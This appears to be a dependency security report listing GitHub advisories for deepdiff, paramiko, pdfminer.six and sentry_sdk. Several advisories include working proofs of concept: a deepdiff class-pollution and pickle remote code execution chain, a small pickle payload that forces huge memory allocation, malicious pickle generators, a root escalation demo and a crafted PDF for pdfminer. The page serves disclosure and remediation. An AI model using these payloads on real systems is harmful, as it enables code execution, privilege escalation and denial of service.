### Summary [Python class pollution](https://blog.abdulrah33m.com/prototype-pollution-in-python/) is a novel vulnerability categorized under [CWE-915](https://cwe.mitre.org/data/definitions/915.html). The `Delta` class is vulnerable to class pollution via its constructor, and when combined with a gadget available in DeltaDiff itself, it can lead to Denial of Service and Remote Code Execution (via insecure [Pickle](https://docs.python.org/3/library/pickle.html) deserialization). The gadget available in DeepDiff allows `deepdiff.serialization.SAFE_TO_IMPORT` to be modified to allow dangerous classes such as `posix.system`, and then perform insecure Pickle deserialization via the Delta class. This potentially allows any Python code to be executed, given that the input to `Delta` is user-controlled. Depending on the application where DeepDiff is used, this can also lead to other vulnerabilities. For example, in a web application, it might be possible to bypass authentication via class pollution. ### Details The `Delta` class can take different object types as a parameter in its constructor, such as a `DeltaDiff` object, a dictionary, or even just bytes (that are deserialized via Pickle). When it takes a dictionary, it is usually in the following format: ```py Delta({"dictionary_item_added": {"root.myattr['foo']": "bar"}}) ``` Trying to apply class pollution here does not work, because there is already a filter in place: https://github.com/seperman/deepdiff/blob/b639fece73fe3ce4120261fdcff3cc7b826776e3/deepdiff/path.py#L23 However, this code only runs when parsing the path from a string. The `_path_to_elements` function helpfully returns the given input if it is already a list/tuple: https://github.com/seperman/deepdiff/blob/b639fece73fe3ce4120261fdcff3cc7b826776e3/deepdiff/path.py#L52-L53 This means that it is possible to pass the path as the internal representation used by Delta, bypassing the filter: ```py Delta( { "dictionary_item_added": { ( ("root", "GETATTR"), ("__init__", "GETATTR"), ("__globals__", "GETATTR"), ("PWNED", "GET"), ): 1337 } }, ) ``` Going back to the possible inputs of `Delta`, when it takes a `bytes` as input, it uses pickle to deserialize them. Care was taken by DeepDiff to prevent arbitrary code execution via the `SAFE_TO_IMPORT` allow list. https://github.com/seperman/deepdiff/blob/b639fece73fe3ce4120261fdcff3cc7b826776e3/deepdiff/serialization.py#L62-L98 However, using the class pollution in the `Delta`, an attacker can add new entries to this `set`. This then allows a second call to `Delta` to [unpickle an insecure class](https://davidhamann.de/2020/04/05/exploiting-python-pickle/) that runs `os.system`, for example. #### Using dict Usually, class pollution [does not work](https://gist.github.com/CalumHutton/45d33e9ea55bf4953b3b31c84703dfca#technical-details) when traversal starts at a `dict`/`list`/`tuple`, because it is not possible to reach `__globals__` from there. However, using two calls to `Delta` (or just one call if the target dictionary that already contains at least one entry) it is possible to first change one entry of the dictionary to be of type `deepdiff.helper.Opcode`, which then allows traversal to `__globals__`, and notably `sys.modules`, which in turn allows traversal to any module already loaded by Python. Passing `Opcode` around can be done via pickle, which `Delta` will happily accept given it is in the default allow list. ### Proof of Concept With deepdiff 8.6.0 installed, run the following scripts for each proof of concept. All input to `Delta` is assumed to be user-controlled. #### Denial of Service This script will pollute the value of `builtins.int`, preventing the class from being used and making code crash whenever invoked. ```py # ------------[ Setup ]------------ import pickle from deepdiff.helper import Opcode pollute_int = pickle.dumps( { "values_changed": {"root['tmp']": {"new_value": Opcode("", 0, 0, 0, 0)}}, "dictionary_item_added": { ( ("root", "GETATTR"), ("tmp", "GET"), ("__repr__", "GETATTR"), ("__globals__", "GETATTR"), ("__builtins__", "GET"), ("int", "GET"), ): "no longer a class" }, } ) assert isinstance(pollute_int, bytes) # ------------[ Exploit ]------------ # This could be some example, vulnerable, application. # The inputs above could be sent via HTTP, for example. from deepdiff import Delta # Existing dictionary; it is assumed that it contains # at least one entry, otherwise a different Delta needs to be # applied first, adding an entry to the dictionary. mydict = {"tmp": "foobar"} # Before pollution print(int("41") + 1) # Apply Delta to mydict result = mydict + Delta(pollute_int) print(int("1337")) ``` ```shell $ python poc_dos.py 42 Traceback (most recent call last): File "/tmp/poc_dos.py", line 43, in <module> print(int("1337")) TypeError: 'str' object is not callable ``` #### Remote Code Execution This script will create a file at `/tmp/pwned` with the output of `id`. ```py # ------------[ Setup ]------------ import os import pickle from deepdiff.helper import Opcode pollute_safe_to_import = pickle.dumps( { "values_changed": {"root['tmp']": {"new_value": Opcode("", 0, 0, 0, 0)}}, "set_item_added": { ( ("root", "GETATTR"), ("tmp", "GET"), ("__repr__", "GETATTR"), ("__globals__", "GETATTR"), ("sys", "GET"), ("modules", "GETATTR"), ("deepdiff.serialization", "GET"), ("SAFE_TO_IMPORT", "GETATTR"), ): set(["posix.system"]) }, } ) # From https://davidhamann.de/2020/04/05/exploiting-python-pickle/ class RCE: def __reduce__(self): cmd = "id > /tmp/pwned" return os.system, (cmd,) # Wrap object with dictionary so that Delta does not crash rce_pickle = pickle.dumps({"_": RCE()}) assert isinstance(pollute_safe_to_import, bytes) assert isinstance(rce_pickle, bytes) # ------------[ Exploit ]------------ # This could be some example, vulnerable, application. # The inputs above could be sent via HTTP, for example. from deepdiff import Delta # Existing dictionary; it is assumed that it contains # at least one entry, otherwise a different Delta needs to be # applied first, adding an entry to the dictionary. mydict = {"tmp": "foobar"} # Apply Delta to mydict result = mydict + Delta(pollute_safe_to_import) Delta(rce_pickle) # no need to apply this Delta ``` ```shell $ python poc_rce.py $ cat /tmp/pwned uid=1000(dtc) gid=100(users) groups=100(users),1(wheel) ``` ### Who is affected? Only applications that pass (untrusted) user input directly into `Delta` are affected. While input in the form of `bytes` is the most flexible, there are certainly other gadgets, depending on the application, that can be used via just a dictionary. This dictionary could easily be parsed, for example, from JSON. One simple example would be overriding `app.secret_key` of a Flask application, which would allow an attacker to sign arbitrary cookies, leading to an authentication bypass. ### Mitigations A straightforward mitigation is preventing traversal through private keys, like it is already done in the path parser. This would have to be implemented in both `deepdiff.path._get_nested_obj` and `deepdiff.path._get_nested_obj_and_force`, and possibly in `deepdiff.delta.Delta._get_elements_and_details`. Example code that raises an error when traversing these properties: ```py if elem.startswith("__") and elem.endswith("__"): raise ValueError("traversing dunder attributes is not allowed") ``` However, if it is desirable to still support attributes starting and ending with `__`, but still protect against this vulnerability, it is possible to only forbid `__globals__` and `__builtins__`, which stops the most serious cases of class pollution (but not all). This was the solution adopted by pydash: https://github.com/dgilland/pydash/issues/180
GHSA-54jj-px8x-5w5q 8.6.2 l10n_es_aeat_sii_match
Show details
### Summary The pickle unpickler `_RestrictedUnpickler` validates which classes can be loaded but does not limit their constructor arguments. A few of the types in `SAFE_TO_IMPORT` have constructors that allocate memory proportional to their input (`builtins.bytes`, `builtins.list`, `builtins.range`). A 40-byte pickle payload can force 10+ GB of memory, which crashes applications that load delta objects or call `pickle_load` with untrusted data. ### Details CVE-2025-58367 hardened the delta class against pollution and remote code execution by converting `SAFE_TO_IMPORT` to a `frozenset` and blocking traversal. `_RestrictedUnpickler.find_class` only gates which classes can be loaded. It doesn't intercept `REDUCE` opcodes or validate what is passed to constructors. It can be exploited in 2 ways. **1 - During `pickle_load`** A pickle that calls `bytes(N)` using opcodes permitted by the allowlist. The allocation happens during deserialization and before the delta processes anything. The restricted unpickler does not override `load_reduce` so any allowed class can be called. ``` GLOBAL builtins.bytes (passes find_class check — serialization.py:353) INT 10000000000 (10 billion) TUPLE + REDUCE → bytes(10**10) → allocates ~9.3 GB ``` **2 - During delta application** A valid diff dict that first sets a value to a large int via `values_changed`, then converts it to bytes via `type_changes`. It works because `_do_values_changed()` runs before `_do_type_changes()` in `Delta.add()` in `delta.py` line 183. Step 1 modifies the target in place before step 2 reads the modified value and calls `new_type(current_old_value)` at `delta.py` line 576 with no size guard. ### PoC The script uses Python's `resource` module to cap memory to 1 GB so you can reproduce safely without hitting the OOM killer. It loads deepdiff first, applies the limit, then runs the payload. Change `10**8` to `10**10` for the full 9.3 GB allocation. ```python import resource import sys def limit_memory(maxsize_mb): """Cap virtual memory for this process.""" soft, hard = resource.getrlimit(resource.RLIMIT_AS) maxsize_bytes = maxsize_mb * 1024 * 1024 try: resource.setrlimit(resource.RLIMIT_AS, (maxsize_bytes, hard)) print(f"[*] Memory limit set to {maxsize_mb} MB") except ValueError: print("[!] Failed to set memory limit.") sys.exit(1) # Load heavy imports before enforcing the limit from deepdiff import Delta from deepdiff.serialization import pickle_dump, pickle_load limit_memory(1024) # --- Delta application path --- payload_dict = { 'values_changed': {"root['x']": {'new_value': 10**8}}, 'type_changes': {"root['x']": {'new_type': bytes}}, } payload1 = pickle_dump(payload_dict) print(f"Payload size: {len(payload1)} bytes") target = {'x': 'anything'} try: result = target + Delta(payload1) print(f"Allocated: {len(result['x']) // 1024 // 1024} MB") print(f"Amplification: {len(result['x']) // len(payload1)}x") except MemoryError: print("[!] MemoryError — payload tried to allocate too much") # --- Raw pickle path --- payload2 = ( b"(dp0\n" b"S'_'\n" b"cbuiltins\nbytes\n" b"(I100000000\n" b"tR" b"s." ) print(f"Payload size: {len(payload2)} bytes") try: result2 = pickle_load(payload2) print(f"Allocated: {len(result2['_']) // 1024 // 1024} MB") except MemoryError: print("[!] MemoryError — payload tried to allocate too much") ``` Output: ``` [*] Memory limit set to 1024 MB Payload size: 123 bytes Allocated: 95 MB Amplification: 813008x Payload size: 42 bytes Allocated: 95 MB ``` ### Impact Denial of service. Any application that deserializes delta objects or calls `pickle_load` with untrusted inputs can be crashed with a small payload. The restricted unpickler is meant to make this safe. It prevents remote code execution but doesn't prevent resource exhaustion. The amplification is large. 800,000x for delta and 2,000,000x for raw pickle. Impacted users are anyone who accepts serialized delta objects from untrusted sources — network APIs, file uploads, message queues, etc.
GHSA-mw26-5g2v-hqw3 8.6.1 l10n_es_aeat_sii_match
Show details
### Summary [Python class pollution](https://blog.abdulrah33m.com/prototype-pollution-in-python/) is a novel vulnerability categorized under [CWE-915](https://cwe.mitre.org/data/definitions/915.html). The `Delta` class is vulnerable to class pollution via its constructor, and when combined with a gadget available in DeltaDiff itself, it can lead to Denial of Service and Remote Code Execution (via insecure [Pickle](https://docs.python.org/3/library/pickle.html) deserialization). The gadget available in DeepDiff allows `deepdiff.serialization.SAFE_TO_IMPORT` to be modified to allow dangerous classes such as `posix.system`, and then perform insecure Pickle deserialization via the Delta class. This potentially allows any Python code to be executed, given that the input to `Delta` is user-controlled. Depending on the application where DeepDiff is used, this can also lead to other vulnerabilities. For example, in a web application, it might be possible to bypass authentication via class pollution. ### Details The `Delta` class can take different object types as a parameter in its constructor, such as a `DeltaDiff` object, a dictionary, or even just bytes (that are deserialized via Pickle). When it takes a dictionary, it is usually in the following format: ```py Delta({"dictionary_item_added": {"root.myattr['foo']": "bar"}}) ``` Trying to apply class pollution here does not work, because there is already a filter in place: https://github.com/seperman/deepdiff/blob/b639fece73fe3ce4120261fdcff3cc7b826776e3/deepdiff/path.py#L23 However, this code only runs when parsing the path from a string. The `_path_to_elements` function helpfully returns the given input if it is already a list/tuple: https://github.com/seperman/deepdiff/blob/b639fece73fe3ce4120261fdcff3cc7b826776e3/deepdiff/path.py#L52-L53 This means that it is possible to pass the path as the internal representation used by Delta, bypassing the filter: ```py Delta( { "dictionary_item_added": { ( ("root", "GETATTR"), ("__init__", "GETATTR"), ("__globals__", "GETATTR"), ("PWNED", "GET"), ): 1337 } }, ) ``` Going back to the possible inputs of `Delta`, when it takes a `bytes` as input, it uses pickle to deserialize them. Care was taken by DeepDiff to prevent arbitrary code execution via the `SAFE_TO_IMPORT` allow list. https://github.com/seperman/deepdiff/blob/b639fece73fe3ce4120261fdcff3cc7b826776e3/deepdiff/serialization.py#L62-L98 However, using the class pollution in the `Delta`, an attacker can add new entries to this `set`. This then allows a second call to `Delta` to [unpickle an insecure class](https://davidhamann.de/2020/04/05/exploiting-python-pickle/) that runs `os.system`, for example. #### Using dict Usually, class pollution [does not work](https://gist.github.com/CalumHutton/45d33e9ea55bf4953b3b31c84703dfca#technical-details) when traversal starts at a `dict`/`list`/`tuple`, because it is not possible to reach `__globals__` from there. However, using two calls to `Delta` (or just one call if the target dictionary that already contains at least one entry) it is possible to first change one entry of the dictionary to be of type `deepdiff.helper.Opcode`, which then allows traversal to `__globals__`, and notably `sys.modules`, which in turn allows traversal to any module already loaded by Python. Passing `Opcode` around can be done via pickle, which `Delta` will happily accept given it is in the default allow list. ### Proof of Concept With deepdiff 8.6.0 installed, run the following scripts for each proof of concept. All input to `Delta` is assumed to be user-controlled. #### Denial of Service This script will pollute the value of `builtins.int`, preventing the class from being used and making code crash whenever invoked. ```py # ------------[ Setup ]------------ import pickle from deepdiff.helper import Opcode pollute_int = pickle.dumps( { "values_changed": {"root['tmp']": {"new_value": Opcode("", 0, 0, 0, 0)}}, "dictionary_item_added": { ( ("root", "GETATTR"), ("tmp", "GET"), ("__repr__", "GETATTR"), ("__globals__", "GETATTR"), ("__builtins__", "GET"), ("int", "GET"), ): "no longer a class" }, } ) assert isinstance(pollute_int, bytes) # ------------[ Exploit ]------------ # This could be some example, vulnerable, application. # The inputs above could be sent via HTTP, for example. from deepdiff import Delta # Existing dictionary; it is assumed that it contains # at least one entry, otherwise a different Delta needs to be # applied first, adding an entry to the dictionary. mydict = {"tmp": "foobar"} # Before pollution print(int("41") + 1) # Apply Delta to mydict result = mydict + Delta(pollute_int) print(int("1337")) ``` ```shell $ python poc_dos.py 42 Traceback (most recent call last): File "/tmp/poc_dos.py", line 43, in <module> print(int("1337")) TypeError: 'str' object is not callable ``` #### Remote Code Execution This script will create a file at `/tmp/pwned` with the output of `id`. ```py # ------------[ Setup ]------------ import os import pickle from deepdiff.helper import Opcode pollute_safe_to_import = pickle.dumps( { "values_changed": {"root['tmp']": {"new_value": Opcode("", 0, 0, 0, 0)}}, "set_item_added": { ( ("root", "GETATTR"), ("tmp", "GET"), ("__repr__", "GETATTR"), ("__globals__", "GETATTR"), ("sys", "GET"), ("modules", "GETATTR"), ("deepdiff.serialization", "GET"), ("SAFE_TO_IMPORT", "GETATTR"), ): set(["posix.system"]) }, } ) # From https://davidhamann.de/2020/04/05/exploiting-python-pickle/ class RCE: def __reduce__(self): cmd = "id > /tmp/pwned" return os.system, (cmd,) # Wrap object with dictionary so that Delta does not crash rce_pickle = pickle.dumps({"_": RCE()}) assert isinstance(pollute_safe_to_import, bytes) assert isinstance(rce_pickle, bytes) # ------------[ Exploit ]------------ # This could be some example, vulnerable, application. # The inputs above could be sent via HTTP, for example. from deepdiff import Delta # Existing dictionary; it is assumed that it contains # at least one entry, otherwise a different Delta needs to be # applied first, adding an entry to the dictionary. mydict = {"tmp": "foobar"} # Apply Delta to mydict result = mydict + Delta(pollute_safe_to_import) Delta(rce_pickle) # no need to apply this Delta ``` ```shell $ python poc_rce.py $ cat /tmp/pwned uid=1000(dtc) gid=100(users) groups=100(users),1(wheel) ``` ### Who is affected? Only applications that pass (untrusted) user input directly into `Delta` are affected. While input in the form of `bytes` is the most flexible, there are certainly other gadgets, depending on the application, that can be used via just a dictionary. This dictionary could easily be parsed, for example, from JSON. One simple example would be overriding `app.secret_key` of a Flask application, which would allow an attacker to sign arbitrary cookies, leading to an authentication bypass. ### Mitigations A straightforward mitigation is preventing traversal through private keys, like it is already done in the path parser. This would have to be implemented in both `deepdiff.path._get_nested_obj` and `deepdiff.path._get_nested_obj_and_force`, and possibly in `deepdiff.delta.Delta._get_elements_and_details`. Example code that raises an error when traversing these properties: ```py if elem.startswith("__") and elem.endswith("__"): raise ValueError("traversing dunder attributes is not allowed") ``` However, if it is desirable to still support attributes starting and ending with `__`, but still protect against this vulnerability, it is possible to only forbid `__globals__` and `__builtins__`, which stops the most serious cases of class pollution (but not all). This was the solution adopted by pydash: https://github.com/dgilland/pydash/issues/180
paramiko<4.0.0
ID Fixed In Affected modules Details
GHSA-r374-rxx8-8654 auto_backup
Show details
In Paramiko through 4.0.0 before a448945, rsakey.py allows the SHA-1 algorithm.
pdfminer.six==20220319
ID Fixed In Affected modules Details
GHSA-f83h-ghpp-7wcc 20251230 l10n_mx_res_partner_csf
Show details
### 🚀 Overview This report **demonstrates a real-world privilege escalation** vulnerability in [pdfminer.six](https://github.com/pdfminer/pdfminer.six) due to unsafe usage of Python's `pickle` module for CMap file loading. It shows how a low-privileged user can gain root access (or escalate to any service account) by exploiting insecure deserialization in a typical multi-user or server environment. ![line](https://user-images.githubusercontent.com/74038190/212284100-561aa473-3905-4a80-b561-0d28506553ee.gif) ## 🚨 Special Note This advisory addresses a distinct vulnerability from [GHSA-wf5f-4jwr-ppcp (CVE-2025-64512)](https://github.com/pdfminer/pdfminer.six/security/advisories/GHSA-wf5f-4jwr-ppcp). While the previous CVE claims to mitigate issues related to unsafe deserialization, the patch introduced in commit [b808ee05dd7f0c8ea8ec34bdf394d40e63501086](https://github.com/pdfminer/pdfminer.six/commit/b808ee05dd7f0c8ea8ec34bdf394d40e63501086) does not address the vulnerability reported here. Based on testing performed against the latest version of the library ([comparison view](https://github.com/pdfminer/pdfminer.six/compare/20250506...20251107)), the issue remains exploitable through local privilege escalation due to continued unsafe use of pickle files. The **Dockerfile** is hence modified to run test against this claim. This demonstrates that the patch for **CVE-2025-64512** is incomplete: the vulnerability remains exploitable. This advisory therefore documents a distinct, independently fixable flaw. A correct remediation must remove the dependency on pickle files (or otherwise eliminate unsafe deserialization) and replace it with a safe, auditable data-handling approach so the library can operate normally without relying on ```pickle``` ## 📚 Table of Contents - [🔍 Background](#-background) - [🐍 Vulnerability Description](#-vulnerability-description) - [🎭 Demo Scenario](#-demo-scenario) - [🧨 Technical Details](#-technical-details) - [🔧 Setup and Usage](#-setup-and-usage) - [📝 Step-by-step Walkthrough](#-step-by-step-walkthrough) - [🛡️ Security Standards & References](#-security-standards--references) --- ## 🔍 Background **pdfminer.six** is a popular Python library for extracting text and information from PDF files. It supports CJK (Chinese, Japanese, Korean) fonts via external CMap files, which it loads from disk using Python's `pickle` module. > 🐍 **Security Issue:** > If the CMap search path (`CMAP_PATH` or default directories) includes a world-writable or user-writable directory, an attacker can place a malicious `.pickle.gz` file that will be loaded and deserialized by pdfminer.six, leading to arbitrary code execution. --- ### 🐍 Vulnerability Description - **Component:** pdfminer.six CMap loading (`pdfminer/cmapdb.py`) - **Issue:** Loads and deserializes `.pickle.gz` files using Python’s `pickle` module, which is unsafe for untrusted data. - **Exploitability:** If a low-privileged user can write to any directory in `CMAP_PATH`, they can execute code as the user running pdfminer—potentially root or a privileged service. - **Impact:** Full code execution as the service user, privilege escalation from user to root, persistence, and potential lateral movement. ![line](https://user-images.githubusercontent.com/74038190/212284100-561aa473-3905-4a80-b561-0d28506553ee.gif) ### 🎭 Demo Scenario **Environment:** - 🐧 Alpine Linux (Docker container) - 👨‍💻 Two users: - `user1` (attacker: low-privilege) - `root` (victim: runs privileged PDF-processing script) - 🗂️ Shared writable directory: `/tmp/uploads` - 🛣️ `CMAP_PATH` set to `/tmp/uploads` for the privileged script - 📦 pdfminer.six installed system-wide **Attack Flow:** 1. 🕵️‍♂️ `user1` creates a malicious CMap file (`Evil.pickle.gz`) in `/tmp/uploads`. 2. 👑 The privileged service (`root`) processes a PDF or calls `get_cmap("Evil")`. 3. 💣 The malicious pickle is deserialized, running arbitrary code as root. 4. 🎯 The exploit creates a flag file in `/root/pwnedByPdfminer` as proof. ![line](https://user-images.githubusercontent.com/74038190/212284100-561aa473-3905-4a80-b561-0d28506553ee.gif) ### 🧨 Technical Details - **Vulnerability Type:** Insecure deserialization of untrusted data using Python's `pickle` - **Attack Prerequisites:** Attacker can write to a directory included in `CMAP_PATH` - **Vulnerable Line:** ```python return type(str(name), (), pickle.loads(gzfile.read())) ``` *In `pdfminer/cmapdb.py`'s `_load_data` method* - https://github.com/pdfminer/pdfminer.six/blob/20250506/pdfminer/cmapdb.py#L246 - **Proof of Concept:** See `createEvilPickle.py`, `evilmod.py`, and `processPdf.py` **Exploit Chain:** - Attacker places a malicious `.pickle.gz` file in the CMap search path. - Privileged process (e.g., root) loads a CMap, triggering pickle deserialization. - Arbitrary code executes with the privilege of the process (root/service account). ![line](https://user-images.githubusercontent.com/74038190/212284100-561aa473-3905-4a80-b561-0d28506553ee.gif) ## 🔧 Setup and Usage ### 📁 Files #### </> Dockerfile ```yml FROM python:3.11-alpine ARG PM_COMMIT=b808ee05dd7f0c8ea8ec34bdf394d40e63501086 # Install git and build tooling RUN apk add --no-cache git build-base WORKDIR /opt # Clone pdfminer.six and check out the specific commit, then install from source RUN git clone https://github.com/pdfminer/pdfminer.six.git && \ cd pdfminer.six && \ git fetch --all && \ git checkout ${PM_COMMIT} && \ pip install --no-cache-dir -e . # App working directory for PoC WORKDIR /app # Create low-privilege user and uploads dir RUN adduser -D user1 && \ mkdir -p /tmp/uploads && \ chown user1:user1 /tmp/uploads && \ chmod 1777 /tmp/uploads # Copy PoC files COPY evilmod.py /app/evilmod.py COPY createEvilPickle.py /app/createEvilPickle.py COPY processPDF.py /app/processPDF.py ENV CMAP_PATH=/tmp/uploads ENV PYTHONUNBUFFERED=1 # Keep the container running in background so you can exec into it anytime. CMD ["tail", "-f", "/dev/null"] ``` #### </> evilmod.py ```python import os def evilFunc(): with open("/root/pwnedByPdfminer", "w") as f: f.write("ROOTED by pdfminer pickle RCE\n") return {"CODE2CID": {}, "IS_VERTICAL": False} ``` #### </> createEvilPickle.py ```python import pickle import gzip from evilmod import evilFunc class Evil: def __reduce__(self): return (evilFunc, ()) payload = pickle.dumps(Evil()) with gzip.open("/tmp/uploads/Evil.pickle.gz", "wb") as f: f.write(payload) print("Malicious pickle created at /tmp/uploads/Evil.pickle.gz") ``` #### </> processPDF.py ```python import os from pdfminer.cmapdb import CMapDB os.environ["CMAP_PATH"] = "/tmp/uploads" CMapDB.get_cmap("Evil") print("CMap loaded. If vulnerable, /root/pwnedByPdfminer will be created.") ``` ![line](https://user-images.githubusercontent.com/74038190/212284100-561aa473-3905-4a80-b561-0d28506553ee.gif) ### 1️⃣ Build and start the demo container ```bash docker build -t pdfminer-priv-esc-demo . docker run --rm -it --name pdfminer-demo pdfminer-priv-esc-democ ``` ### 2️⃣ In the container, open two shells in parallel (or switch users in one): #### 🕵️‍♂️ Shell 1 (Attacker: user1) ```bash su user1 cd /app python createEvilPickle.py # ✅ Confirms: /tmp/uploads/Evil.pickle.gz is created and owned by user1 ``` #### 👑 Shell 2 (Victim: root) ```bash cd /app python processPdf.py # 🎯 Output: If vulnerable, /root/pwnedByPdfminer will be created ``` ### 3️⃣ Proof of escalation ```bash cat /root/pwnedByPdfminer # 🏴 Output: ROOTED by pdfminer pickle RCE ``` <img width="815" height="889" alt="proof-of-exploit" src="https://github.com/user-attachments/assets/f465d17c-a3af-49c5-9dbc-eec9635b36fc" /> ![line](https://user-images.githubusercontent.com/74038190/212284100-561aa473-3905-4a80-b561-0d28506553ee.gif) ## 📝 Step-by-step Walkthrough 1. **user1** uses `createEvilPickle.py` to craft and place a malicious CMap pickle in a shared upload directory. 2. The **root** user runs a typical PDF-processing script, which loads CMap files from that directory. 3. The exploit triggers, running arbitrary code as root. 4. The attacker now has proof of code execution as root (and, in a real attack, could escalate further). ![line](https://user-images.githubusercontent.com/74038190/212284100-561aa473-3905-4a80-b561-0d28506553ee.gif) ## 🛡️ Security Standards & References - **CVSS (Common Vulnerability Scoring System):** - **Base Score:** 7.8 (High) - **Vector:** `AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H` - **OWASP Top 10:** - [A08:2021 - Software and Data Integrity Failures](https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures/) - [A03:2021 - Injection](https://owasp.org/Top10/A03_2021-Injection/) (by analogy, as it's code injection via deserialization) - **MITRE CWE References:** - [CWE-502: Deserialization of Untrusted Data](https://cwe.mitre.org/data/definitions/502.html) - [CWE-915: Improperly Controlled Modification of Dynamically-Determined Object Attributes](https://cwe.mitre.org/data/definitions/915.html) - **MITRE ATT&CK Techniques:** - [T1055: Process Injection](https://attack.mitre.org/techniques/T1055/) - [T1548: Abuse Elevation Control Mechanism](https://attack.mitre.org/techniques/T1548/)
GHSA-wf5f-4jwr-ppcp 20251107 l10n_mx_res_partner_csf
Show details
### Summary pdfminer.six will execute arbitrary code from a malicious pickle file if provided with a malicious PDF file. The `CMapDB._load_data()` function in pdfminer.six uses `pickle.loads()` to deserialize pickle files. These pickle files are supposed to be part of the pdfminer.six distribution stored in the `cmap/` directory, but a malicious PDF can specify an alternative directory and filename as long as the filename ends in `.pickle.gz`. A malicious, zipped pickle file can then contain code which will automatically execute when the PDF is processed. ### Details ```python # Vulnerable code in pdfminer/cmapdb.py:233-246 def _load_data(cls, name: str) -> Any: name = name.replace("\0", "") # Insufficient sanitization filename = "%s.pickle.gz" % name # ... path construction ... path = os.path.join(directory, filename) # If filename is an absolte path, directory is ignored # ... return type(str(name), (), pickle.loads(gzfile.read())) # Unsafe deserialization ``` An attacker can: 1. Create a malicious PDF with a CMap reference like `/malicious` 2. Place a malicious pickle file at `/malicious.pickle.gz` 3. When the PDF is processed, pdfminer loads and deserializes the malicious pickle 4. The pickle deserialization can execute arbitrary Python code ### POC #### Malicious PDF Create a PDF with a malicious CMAP entry: ``` 5 0 obj << /Type /Font /Subtype /Type0 /BaseFont /MaliciousFont-Identity-H /Encoding /#2Fpdfs#2Fmalicious /DescendantFonts [6 0 R] >> endobj ``` Here the /Encoding points to `/pdfs/malicious`. Pdfminer will append the extension `.pickle.gz` to this filename. Place the PDF in a file called `/pdfs/malicious.pdf`. #### Malicious Pickle Create a malicious, zipped pickle to execute. For example, with this Python script: ```python #!/usr/bin/env python3 import pickle import gzip def create_demo_pickle(): print("Creating demonstration pickle file...") # Create payload that executes code AND returns a dict (as pdfminer expects) class EvilPayload: def __reduce__(self): # This function will be called during unpickling code = "print('Malicious code executed.') or exit(0) or {}" return (eval, (code,)) demo_cmap_data = EvilPayload() # Create the pickle file that the path traversal would access target_path = "./malicious.pickle.gz" try: with gzip.open(target_path, 'wb') as f: pickle.dump(demo_cmap_data, f) print(f"✓ Created demonstration pickle file: {target_path}") return target_path except Exception as e: print(f"✗ Error creating pickle file: {e}") return None if __name__ == "__main__": create_demo_pickle() ``` This will create a harmless, zipped pickle file that will display "Malicious code eecuted." then exit when deserialized. Put the file in `/pdfs/malicious.pickle.gz`. #### Test Install pdfminer.six and run `pdf2text.py /pdfs/malicious.pdf`. Instead of processing the PDF as normal you should see the output: ``` $ pdf2txt.py malicious.pdf Malicious code executed! ``` ### Impact If pdfminer.six processes a malicious PDF which points to a zipped pickle file under the control of an attacker the result is arbitrary code execution on the victim's system. An attacker could execute the Python code of their chosing with the permissions of the process running pdfminer.six. The difficulty in achieving this depends on the OS, see below. #### Linux, MacOS - harder to exploit On Linux-like systems only files on the filesystem can be resolved. An attacker would need to provide the malicious PDF for processing *and* the malicious pickle file would need to be present on the target system in a location that the attacker already knows, since it needs to be set in the PDF itself. In many cases this will be difficult to exploit because even if the attacker provides both the PDF and the pickle file together, there would be no way to know in advance which full path to the pickle file to specify. In many cases this would make exploitation difficult or impossible. However: * An attacker may find a way to write files to a known location on the target system or * The system in question may, by design, read files from a known location such as a network share designated for PDF ingestion. Overall, there is generally less risk on a Linux or Linux-like system. #### Windows - easier to exploit Windows paths can specify network locations e.g. WebDAV, SMB. This means that an attacker could host the malicious pickle remotely and specify a path to the it in the PDF. Since there is no need to get the malicious pickle file on to the target system, exploitation is easier on a Windows OS. ### Appendix A complete, malicious PDF is provided here. A dockerized POC is available upon request. ``` %PDF-1.4 1 0 obj << /Type /Catalog /Pages 2 0 R >> endobj 2 0 obj << /Type /Pages /Kids [3 0 R] /Count 1 >> endobj 3 0 obj << /Type /Page /Parent 2 0 R /MediaBox [0 0 612 792] /Contents 4 0 R /Resources << /Font << /F1 5 0 R >> >> >> endobj 4 0 obj << /Length 44 >> stream BT /F1 12 Tf 100 700 Td (Malicious PDF) Tj ET endstream endobj 5 0 obj << /Type /Font /Subtype /Type0 /BaseFont /MaliciousFont-Identity-H /Encoding /#2Fpdfs#2Fmalicious /DescendantFonts [6 0 R] >> endobj 6 0 obj << /Type /Font /Subtype /CIDFontType2 /BaseFont /MaliciousFont /CIDSystemInfo << /Registry (Adobe) /Ordering (Identity) /Supplement 0 >> /FontDescriptor 7 0 R >> endobj 7 0 obj << /Type /FontDescriptor /FontName /MaliciousFont /Flags 4 /FontBBox [-1000 -1000 1000 1000] /ItalicAngle 0 /Ascent 1000 /Descent -200 /CapHeight 800 /StemV 80 >> endobj xref 0 8 0000000000 65535 f 0000000009 00000 n 0000000058 00000 n 0000000115 00000 n 0000000274 00000 n 0000000370 00000 n 0000000503 00000 n 0000000673 00000 n trailer << /Size 8 /Root 1 0 R >> startxref 871 %%EOF ```
sentry_sdk<=1.9.0
ID Fixed In Affected modules Details
GHSA-29pr-6jr8-q5jm 1.14.0 sentry
Show details
### Impact When using the [Django integration](https://docs.sentry.io/platforms/python/guides/django/) of the Sentry SDK in a specific configuration it is possible to leak sensitive cookies values, including the session cookie to Sentry. These sensitive cookies could then be used by someone with access to your Sentry issues to impersonate or escalate their privileges within your application. The below must be true in order for these sensitive values to be leaked: 1. Your Sentry SDK configuration has `sendDefaultPII` set to `True` 2. You are using a custom name for either of the cookies below in your Django settings. - [`SESSION_COOKIE_NAME`](https://docs.djangoproject.com/en/4.1/ref/settings/#std-setting-SESSION_COOKIE_NAME) or - [`CSRF_COOKIE_NAME`](https://docs.djangoproject.com/en/4.1/ref/settings/#std-setting-CSRF_COOKIE_NAME) Django settings 3. You are not configured in your organization or project settings to use [our data scrubbing features](https://docs.sentry.io/product/data-management-settings/scrubbing/) to account for the custom cookie names ### Patches As of version `1.14.0`, the Django integration of the `sentry-sdk` will detect the custom cookie names based on your Django settings and will remove the values from the payload _before_ sending the data to Sentry. ### Workarounds If you can not update your `sentry-sdk` to a patched version than you can use the SDKs filtering mechanism to remove the cookies from the payload that is sent to Sentry. For error events this can be done with the [before_send](https://docs.sentry.io/platforms/python/configuration/filtering/#using-platformidentifier-namebefore-send-) callback method and for performance related events (transactions) you can use the [before_send_transaction](https://docs.sentry.io/platforms/python/configuration/filtering/#using-platformidentifier-namebefore-send-transaction-) callback method. If 